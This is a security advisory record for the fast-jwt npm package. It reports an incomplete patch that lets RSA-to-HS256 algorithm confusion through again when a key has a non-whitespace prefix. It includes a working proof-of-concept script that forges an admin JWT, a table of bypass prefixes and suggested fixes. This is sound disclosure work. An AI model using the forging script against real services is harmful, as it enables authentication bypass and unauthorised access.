{"id":"GHSA-ww5h-9m49-7xx4","summary":"fast-jwt: Incomplete patch of CVE-2026-34950: Non-whitespace key-prefix re-enables RSA→HS256 algorithm confusion","details":"### Summary\n\nThe fix for CVE-2026-34950 (CVSS 9.1, released in v6.2.0) is **incomplete**. It adds `key.trim()` to the PEM-detection path in `src/crypto.js`, but `String.prototype.trim()` only strips characters classified as whitespace by the ECMAScript specification. The subsequent `^`-anchored regex (`/^-----BEGIN(?: (RSA))? PUBLIC KEY-----/`) still requires the PEM header at position 0 — so **any non-whitespace leading byte** (control chars, zero-width unicode, `#` comments, HTTP-style headers, PGP wrappers) bypasses detection and falls through to the HMAC verification path, using the RSA public key as the HMAC shared secret. Net result: the **exact same RSA→HS256 algorithm-confusion attack** the original CVE addressed is fully re-enabled with a slightly different leading byte.\n\n**Attack prerequisites are identical to CVE-2026-34950**: attacker knows the target's public RSA key (which is public by definition), and the target loads that key from a source whose content may have a non-whitespace prefix (DB column with corrupted encoding, YAML config with inline comment, copy-paste from formatted document, etc.).\n\n**Verified on fast-jwt@6.2.2 (latest as of 2026-04-23) with a 10-line PoC.**\n\n### Details\n\nPost-patch code (`src/crypto.js`, lines ~74-171 in `performDetectPublicKeyAlgorithms`):\n\n```js\nfunction performDetectPublicKeyAlgorithms(key) {\n    const trimmedKey = key.trim()  // \u003c-- CVE-2026-34950 patch added this\n    if (publicKeyPemMatcher.test(trimmedKey)) {\n        // treat as RSA/EC public key\n        ...\n    }\n    // fall-through: treat as HMAC secret  \u003c-- bug: reachable via non-whitespace prefix\n    ...\n}\nconst publicKeyPemMatcher = /^-----BEGIN(?: (RSA))? PUBLIC KEY-----/\n```\n\n**The bug**: `String.prototype.trim()` only strips whitespace (U+0009-U+000D, U+0020, U+00A0, U+1680, U+2000-U+200A, U+2028-U+2029, U+202F, U+205F, U+3000, U+FEFF). Non-whitespace leading bytes keep the PEM header off position 0, the `^`-anchored regex fails, and execution falls through to the HMAC path with `key` being used as the shared secret. The attacker controls the token signature (signed with the same public key) and the verifier accepts.\n\nIdentical root cause as CVE-2026-34950 — the fix was textually narrow (whitespace only) rather than addressing the class (any surrounding content).\n\n### PoC\n\n```js\n'use strict';\nconst { createHmac, generateKeyPairSync } = require('node:crypto');\nconst { createVerifier } = require('fast-jwt');\n\nconst { publicKey } = generateKeyPairSync('rsa', { modulusLength: 2048 });\nconst pem = publicKey.export({ type: 'pkcs1', format: 'pem' }).toString();\n\n// Attacker-controlled \"key\" content as loaded by the verifier\n// (models a realistic deployment: key with a leading metadata comment)\nconst key = '# some comment\\n' + pem;\n\nconst header = Buffer.from(JSON.stringify({ alg: 'HS256', typ: 'JWT' })).toString('base64url');\nconst payload = Buffer.from(JSON.stringify({ admin: true, sub: 'attacker' })).toString('base64url');\nconst sig = createHmac('sha256', key).update(header + '.' + payload).digest('base64url');\nconst forgedToken = header + '.' + payload + '.' + sig;\n\nconst verifier = createVerifier({ key });\nconsole.log('Forged token payload:', verifier(forgedToken));\nconsole.log('Package version:', require('fast-jwt/package.json').version);\n```\n\n**Observed output (2026-04-23, fresh npm install):**\n```\nForged token payload: { admin: true, sub: 'attacker' }\nPackage version: 6.2.2\n```\n\n### Full bypass matrix (all verified accepting a forged admin token)\n\n| Leading content | Accepted as admin? |\n|---|:-:|\n| `# some comment\\n` + PEM | ✅ BYPASS |\n| `U+0000` (NUL) + PEM | ✅ BYPASS |\n| `U+0001` (SOH) + PEM | ✅ BYPASS |\n| `U+0008` (BACKSPACE) + PEM | ✅ BYPASS |\n| `U+001B` (ESC, ANSI-color) + PEM | ✅ BYPASS |\n| `U+007F` (DEL) + PEM | ✅ BYPASS |\n| `U+200B` (ZWSP) + PEM | ✅ BYPASS |\n| `U+200D` (ZWJ) + PEM | ✅ BYPASS |\n| `HTTP/1.1 200 OK\\r\\n\\r\\n` + PEM | ✅ BYPASS |\n| PGP-wrapper text + PEM | ✅ BYPASS |\n| `.` + PEM | ✅ BYPASS |\n| `U+FEFF` (BOM) + PEM | ❌ correctly stripped by trim |\n\n### Defense matrix (which caller configs are vulnerable)\n\n| Caller config | Vulnerable? |\n|---|:-:|\n| `createVerifier({ key })` (no `algorithms` allowlist) | ✗ VULNERABLE |\n| `createVerifier({ key: asyncCallback })` | ✗ VULNERABLE |\n| `createVerifier({ key, algorithms: ['RS256'] })` | ✓ protected |\n| `createVerifier({ key, algorithms: ['HS256'] })` | ✗ VULNERABLE (attacker matches) |\n\n### Impact\n\n1. **Authentication bypass** — attacker forges arbitrary JWT claims (admin, tenant-id, user-id) accepted by any server using fast-jwt 6.2.x without an `algorithms` allowlist AND loading its verification key from a source that may contain non-whitespace prefix bytes.\n2. **Severity-parity with CVE-2026-34950** — attack chain, prerequisites, exploitation ease, and impact are identical; only the trigger byte differs. The fix addressed *one* trigger (whitespace) rather than the class (any surrounding content before `-----BEGIN`).\n3. **Broad fast-jwt deployment** — default JWT backend of `@fastify/jwt`; used by many Fastify-based Node.js APIs.\n\n### Suggested fix\n\n**Option A (minimal)** — locate the PEM block rather than anchoring on position 0:\n\n```js\nconst pemStart = trimmedKey.indexOf('-----BEGIN')\nif (pemStart !== -1 && publicKeyPemMatcher.test(trimmedKey.slice(pemStart))) { ... }\n```\n\n**Option B (strict, recommended)** — require the key to be exactly a PEM block:\n\n```js\nconst pemMatch = /-----BEGIN (RSA )?PUBLIC KEY-----[\\s\\S]+?-----END \\1?PUBLIC KEY-----/.exec(trimmedKey)\nif (pemMatch && pemMatch[0].trim() === trimmedKey.trim()) { /* valid PEM, no surrounding content */ }\n```\n\n**Option C (defense-in-depth, regardless of A/B)** — on the HMAC fallback path, reject any key that *contains* PEM markers:\n\n```js\nif (rawKey.includes('-----BEGIN') || rawKey.includes('-----END')) {\n    throw new Error('Key appears to be a PEM-encoded asymmetric key but did not match expected format; refusing HMAC fallback')\n}\n```\n\n### Test coverage gap\n\n`test/crypto.spec.js` post-CVE-2026-34950 only tests whitespace padding (`['\\n', ' ', ' \\n', '\\n ', '\\t\\t']`). Add coverage for:\n- Control bytes (U+0000-U+001F, U+007F)\n- Zero-width Unicode (U+200B, U+200C, U+200D, U+180E)\n- Comment prefixes (`#`, `//`, `;`, `--`)\n- Mixed-content wrappers (PGP blocks, HTTP headers)\n- Arbitrary binary prefix bytes\n\n### Credit\n\nReporter: DC INFOSEC / n0l3x — source-code review + end-to-end PoC verification.","aliases":["CVE-2026-107722"],"modified":"2026-10-08T22:15:05.895384054Z","published":"2026-10-08T22:02:07Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2026-10-08T22:02:07Z","nvd_published_at":null,"cwe_ids":["CWE-347"],"severity":"CRITICAL"},"references":[{"type":"WEB","url":"https://github.com/nearform/fast-jwt/security/advisories/GHSA-ww5h-9m49-7xx4"},{"type":"WEB","url":"https://github.com/nearform/fast-jwt/pull/632"},{"type":"WEB","url":"https://github.com/nearform/fast-jwt/commit/d96bbc6c5336055a6dbfa318fdbab01197264cfa"},{"type":"PACKAGE","url":"https://github.com/nearform/fast-jwt"},{"type":"WEB","url":"https://github.com/nearform/fast-jwt/releases/tag/v6.3.0"}],"affected":[{"package":{"name":"fast-jwt","ecosystem":"npm","purl":"pkg:npm/fast-jwt"},"ranges":[{"type":"SEMVER","events":[{"introduced":"6.2.0"},{"fixed":"6.3.0"}]}],"database_specific":{"last_known_affected_version_range":"\u003c= 6.2.4","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-ww5h-9m49-7xx4/GHSA-ww5h-9m49-7xx4.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}]}